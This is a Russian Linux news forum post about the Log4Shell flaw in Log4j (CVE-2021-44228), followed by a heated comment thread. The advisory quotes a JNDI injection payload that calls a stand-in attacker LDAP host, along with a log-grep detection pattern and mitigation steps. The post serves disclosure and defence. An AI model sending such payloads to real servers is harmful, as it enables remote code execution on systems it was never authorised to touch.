LINUX.ORG.RU

Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

 , ,


0

2

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)

Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.

Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.

Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.

>>> Официальная страница Log4j

>>> Log4j RCE Exploitation Detection

>>> JNDIExploit

>>> Как работает JNDI Injection

По отдельным проектам

>>> CVE-2021-44228

anonymous

Проверено: alpha ()
Последнее исправление: alpha (всего исправлений: 4)

Ответ на: комментарий от Reset

а безопасники это такие волшебники, которые сразу вникнут в код либы и поймут, где там шерето а где всё безопасно написано?

salozar
()
Ответ на: комментарий от salozar

Задача безопасника – не мешать разработке. Это миф, что безопасники смотрят какой-либо код. Они смотрят список CVE и иногда натравливают какой-нибудь converity (который, кстати, проблемы настоящие находит очень редко).

Reset ★★★★★
()
Ответ на: комментарий от Reset

Задача безопасника – не мешать разработке.

На самом деле это не совсем так. Ибо основная задача - пиз-ть программеров и, желательно, с ноги и по кикичкам. Потому как по другому эти долбоящеры не понимают.

anonymous
()
Ответ на: комментарий от anonymous

Кто тут на самом деле является долбоящером хорошо показывает данная новость. Описанное в документации поведение бравые безопасники, которые «анализируют код», пропустили.

Reset ★★★★★
()
Ответ на: комментарий от Reset

ну в таком случае, безопасник никак не поможет в случае с решетом в log4j.

поможет внятное описание фич и принципов работы библиотек в виде выжимки. например

log4j умеет подставлять в {} переменные окружения и прочие значения. log4j ПОСЛЕ этого умеет вызывать jndi которое может выполнить код указанный в {jndi:....}.

этого конечно же жопоруки не делают потому что тыжпрограммист, смотрите исходники блаблабла. Даже в общих чертах лень описать своё сраное поделие.

salozar
()
Ответ на: комментарий от salozar

ну в таком случае, безопасник никак не поможет в случае с решетом в log4j.

Он ни в каком случае не поможет. Безопасники не ищут уязвимости они проверяют, что софт удовлетворяет каким-то формальным требованиям. Например, бесполезные проверки coverity проходят. Сабжевой фиче сто лет уже, ни один безопасник за все годы не смог увидеть, что эта фича опасна.

Reset ★★★★★
()
Ответ на: комментарий от Reset

поможет, уже же выше написали, там где грамотные админы и безопасники эту уязвимость даже патчить не надо, она закрыта на уровне безопасности сетевого взаимодействия.

abcq ★★
()
Ответ на: комментарий от Reset

ну так во внутреннем это во-первых совсем другая история и виновных найти будет очень просто, во-вторых его можно зарезать так, что он и на локальной машине не будет работать. Но это все равно не умоляет того факта, что это дыра уровня халатности, мол мы реализовали функционал, мы оставили его по умолчанию работающим у всех, мы документировали этот функционал, а за безопасность пусть у кого-то другого голова болит.

abcq ★★
()
Ответ на: комментарий от Xunnu

лоол валялсяпатсталомвсембанком.

Практический весь банковский тырпрайс это десктоп на Eclipse RCP/sWT

GP
()
Ответ на: комментарий от GP

Бывшие фотографы и таксисты со знанием HTML и CSS, готовые изучать смарти. Место джава сеньора и архитектора может быть вакантно и по три и по четыре года.

Вот вот, дело говоришь. Я именно так и обосновал, зачем нужно избавляться от JAVA стека в нашем предприятии. PHP все знают, а JAVA - да ну ее нафиг. Прошло 5 лет, полет нормальный.

anonymous
()
Ответ на: комментарий от anonymous

Как вы сможете избавиться от джава стека, если его нечем заменить?

В середине нулевых были попытки перенести джава на тогда еще хайповую 1С восьмерку.

Конечно, все заканчивалось провалом

GP
()
Ответ на: комментарий от GP

заменить можно почти чем угодно, но это никому не надо по ряду причин.

abcq ★★
()
Ответ на: комментарий от Reset

Ты передергиваешь и не следишь за предметом дискуссии. Все именно это я и говорил

zapruder
()
Ответ на: комментарий от Reset

Задача безопасника следить за списком non permitted technologies и списком уязвимостей у permitted technologies. Если у кого то Java6 до сих пор permitted technologies, то эти товарищи сами сбе буратины а cio такого энтерпрайза даром ест свой хлеб

zapruder
()
Ответ на: комментарий от abcq

Да, считаю нормальным парсить данные, считаю нормальным даже исполнять эти данные если это решает мою задачу, в чем проблема? Это такие же данные и код, как и все остальные данные и код

Неа. Это глупо. Если к строчке лога необходимо присовокупить метаданные - это необходимо делать отдельно от сериализируемой строки. Аля Logger->Log(Str,{ code : ''}) Строка лога - это именно текст для прочтения человеком, а не машиной

nwtour ★★
()
Ответ на: комментарий от zapruder

Внезапно, упомянутый мной sun.misc входит во все версии java и является частью java-core. Сюрприз, да? И при чем тут безопасники и «non permitted technologies»? За дискуссией все же рекомендую следить, прежде чем открывать рот и бредить.

Reset ★★★★★
()
Ответ на: комментарий от Reset

Сюрприз, да?

а в Java7 этого сюрприза нету? То есть вам нравится sun.misc именно в тот что именно Java6, да, и ни пунктом выше? Для любителей поныть:

================================ The Java 8 Unsafe class, sun.misc.Unsafe, warns us of its very nature immediately, not only in its name, but also by the package in which it lives. The sun.misc package is an internal, implementation-specific location, and Java code should never touch it directly. In Java 9 and later versions, this backstage nature is made even clearer because the functionality of Unsafe moved to a module called jdk.unsupported.

как видите sun.misc есть даже в Java8 и в Java9. Но вам - любителям извращений - нужен непременно именно Java6. За дискуссией все же рекомендую следить, прежде чем открывать рот и бредить.

zapruder
()
Последнее исправление: zapruder (всего исправлений: 2)
Ответ на: комментарий от zapruder

как видите sun.misc есть даже в Java8 и в Java9.

Именно! Про это я и говорю! И при чем тут java6? Ты вообще читать умеешь?

Reset ★★★★★
()
Ответ на: комментарий от nwtour

Эта дискуссия превратится в «сам дурак», так что даже не начинайте. Можно посмотреть на это с другой стороны, что такое метаданные? Или, допустим, зачем плодить лишние сущности в виде метаданных, на ваш вариант? Это вполне нормальное решение, единственное в чем можно обвинить это в халатном отношении к своим пользователям, но не в глупости реализации это точно.

abcq ★★
()
Ответ на: комментарий от Reset

И при чем тут java6? Ты вообще читать умеешь?

Ты вообще читать умеешь? в серьезном энтерпрайзе всегда есть список Non-permitted technologies, за который отвечают контрестные люди в подчинении CIO/CTO, и если таковой список отсутствует, то это - несерьезный энтерпрайз, а его CIO - некопенгаген. Java6 уже давно должен быть в списке Non-permitted technologies.

zapruder
()
Ответ на: комментарий от GP

Вот вот, а потом в процессе такого переписывания появляются фичи вроде string-substitution, который ходит в удаленный сервис :)

Reset ★★★★★
()
Ответ на: комментарий от abcq

Можно посмотреть на это с другой стороны, что такое метаданные? Или, допустим, зачем плодить лишние сущности в виде метаданных, на ваш вариант?

Метаданные - это данные описывающие другие данные (в данном случае строку лога) В том то и дело что они не лишние - у каждой строки есть priority, facility, ident. Сам термин «лог» отличается от термина «вывод» тем что строки отличаются приоритетом, датой, названием процесса - то есть ценность лога именно в метаданных прикрепленных к строке Метаданные уже есть в log4j - просто разработчики зачем то вместо создания еще одного поля засунули метаданные в саму строку.

nwtour ★★
()
Ответ на: комментарий от GP

А я не удивлюсь, если он там есть. Почитатели Фаулера обычное такоое пишут, что волосы дыбом встают от увиденного.

Reset ★★★★★
()
Ответ на: комментарий от abcq

это не «документировали», такие фичи должны крупным текстом отдельно описываться. и быть по дефолту отключенными.

salozar
()
Ответ на: комментарий от salozar

механизм работы substitution и lookup описан в документации, я уже выше даже цитировал часть документации, там английским по вебстранице чуть ли дают не руководство к действию как заюзать эту дыру через jndi lookup, просто видимо никто особо документацию не читал и этим функционалом не пользовался.

abcq ★★
()
Ответ на: комментарий от abcq

там реально написано, что дыру можно заюзать, заслав в лог любую строку подходящего формата, или сообщается ложная информация о том, что это работает только для строк введенных разработчиком, а сами подстановки никак не анализируются?

salozar
()
Ответ на: комментарий от salozar

там описано как работает механизм лукапа и субститушена, и написано что когда источником данных служит лдап вы можете иметь гарантии что данные не придут с неподконтрольного хоста путем списка ограничения на то, с каких хостов могут прийти данные. Т.е. они самолично расписались в своей халатности прямо в документации, мол наша хата с краю, вопросы безопасности не наша головная боль.

по хорошему подстановку и лукап для jndi надо было сделать опциональной, а не дефолтной с дисклеймером большими красными буквами в документации, что этот функционал подвергает систему опасности без должной дополнительной настройки.

там реально написано, что дыру можно заюзать, заслав в лог любую строку подходящего формата

там в более мягкой форме это описано, не сказано что прямо все будет интерпретироваться и исполняться, в зависимости от того что и как подставляется, но тем не менее да, там есть вполне очевидные слова о том что это так в такой формулировке "Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere. Some of these properties will be resolved when the configuration file is interpreted while others may be passed to components where they will be evaluated at runtime."

abcq ★★
()
Последнее исправление: abcq (всего исправлений: 3)
Ответ на: комментарий от salozar

С чего бы это? Ты еще скажи, что какой-нибудь Керниган-Ритчи во всех главах про указатели должны красными буквами предупреждение вешать, что они опасны, а в компиляторы должны иметь специальный супер-сложный ключ для их включения. Фича описана в документации? Описана! А то что пользователь не читал документацию, так он сам дурак!

Reset ★★★★★
()
Ответ на: комментарий от abcq

ну всё, пошли виляния жопой. их не так поняли, просто надо как-то правильно настроить, кококо.

ты еще прогони, что дыры никакой нет, а CVE открыли параноики.

salozar
()
Ответ на: комментарий от Reset

во-во. Жабомакаки не обосрались, их просто не так поняли, все работает как и задумано эта ынтерпрайз. И CVE можно закрывать, вы просто не умеете настраивать жабу.

salozar
()
Ответ на: комментарий от salozar

так что вы мне это пишите, я то тут при чем, я как бы говорю что они как раз виноваты в халатности и предоставлении ничем не прикрытой удаленной инъекции хоть и документированной и в одном из случаев даже сказали как ее прикрыть(лдап вариант). Но по сути так и получается, это не какой-то выход за диапазон или любой другой вид именно ошибки связанной с невнимательностью или логикой, тут просто дали функциональность и сделали ее включенной по умолчанию, описав в документации как это работает без истерики что это может быть опасно. Еще раз для вас процитирую себя же:

по хорошему подстановку и лукап для jndi надо было сделать опциональной, а не дефолтной с дисклеймером большими красными буквами в документации, что этот функционал подвергает систему опасности без должной дополнительной настройки.

abcq ★★
()
Ответ на: комментарий от Nervous

так быстре и в терминах документации, лень придумывать им русский варинт типа поиска@просмотра и подстановки или что-то в этом духе.

abcq ★★
()
Ответ на: комментарий от salozar

Я не знаю обосрались они или нет. Если это стиль такой, то скорее не обосрались. Я не удивлюсь, если в каком-нибудь монструозном говне типа спринга, которое сейчас тащат во все проекты на жаве от калькулятора до ынтерпрайза на миллион строк завтра найдут аналогичную фичу. А ведь почти наверняка найдут :)

Reset ★★★★★
()
Последнее исправление: Reset (всего исправлений: 1)
Ответ на: комментарий от Reset

И нам прибавится работы.

А пыхеры сейчас сидят без работы и переучиваются на дворников. Чтобы без потери квалификации и зарплаты.

GP
()
Ответ на: комментарий от Reset

Как я понимаю, в таких конторах

вы никак не понимаете

zapruder
()
Ответ на: комментарий от Reset

я знаю что обосрались.

Я пользовался log4cxx, который похож на этот log4j, так что интерфейс представляю. Там задаётся форматная строка при каждом выводе, и по идее разбирать конструкции для подстановки надо было только оттуда. Ну казалось бы, что сложного. Уж если хотелось разбирать после подстановки, ну у них же уже есть синтаксис вида {{}}. Просто работать надо было с той строкой, которую дал программист.

но для этого же надо думать что пишешь, а это так сложно.

salozar
()

уже в 2.16.0 нашли еще дыру. в дыру можно напихать даже через браузер. самое прекрасное:

Внесение изменений в пакеты необходимо для обновления требований к зависимостям и замены привязок к старым версиям на исправленные версии Log4j 2 (в Java-пакетах практикуется привязка к конкретной версии, а не открытому диапазону, допускающему установкой самой свежей версии).

Вот эти клованы собирались уничтожить С++ десятилетие назад, omg.

Фигурально выражаясь, жабисты обосрались настолько свирепо и неистово, что шаровары разорвало на лоскуды, сама жаба на коричневой реактивной струе носится по своему болоту аки аквабайк, и останавливаться даже не собирается. Даже если чопик забить и залить эпоксидкой, всё равно тяга будет через иные технологические отверстия.

проектировать? думать головой? да ну нафиг, во всём виноват С++, а мы обколемся смузи и будем херак-херак в продакшен энтерпрайз секурно тырыпыры а потом вот такие гениальные решения получаются.

salozar
()
Ответ на: комментарий от GP

Я разрабатывал для нескольких банков софт на джаве. Ни разу даже не слышал что бы кто-то использовал Eclipse RCP/sWT.
Только web, остальное никому не нужно.

Xunnu ★★
()
Ответ на: комментарий от Igron

Не так много альтернатив. Есть .net, у него есть своя ниша. Есть питон, но большие сервисы на м не пишут. Есть экзотика вроде скалы, но это маленькая часть. И главное, есть nodejs, его действительно много где используют.
Но у джавы есть своя просторная ниша и уменьшаться она не собирается.

Xunnu ★★
()
Ответ на: комментарий от Xunnu

Ну да, а аналоги 1Cки десктопной они все пишут на свинге.

GP
()
Ответ на: комментарий от Xunnu

Есть питон, но большие сервисы на м не пишут.

Что значит большой?

Instagram - не большой? Dropbox - не большой? Да ещё масса их, к части я руку приложил, но не обо всех могу говорить.

emorozov
()
Ответ на: комментарий от Xunnu

Да на самом деле, используют вообще много чего, а зачастую именно внутри банковское по вообще не самописное, а при царе горохе купленное, написанное на технологиях тех лет, и бережно поддерживаемое силами самого банка когда разработчиков этой системы уже и на рынке то нет, а она из себя представляет привет из начала 90х с вырвиглазным неудобным интерфейсом, и такой же функциональностью, требующая очень специфичной настройки, имеющая проблемы с интернационализацией. Это только последние десятки лет, везде все в веб что можно пытаются перетащить. Так что как повидавший много банковского по могу сказать что там такой же зоопарк из языков реализации, и если есть возможность купить софт под нужды это будет сделано, разработка будет выбрана только тогда, когда нет ничего подходящего под задачу на рынке.

anonymous
()
Ответ на: комментарий от AlexVR

Да и кто всё это будет заменять в уже УСТАНОВЛЕННОМ ПО?

Пионеры.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.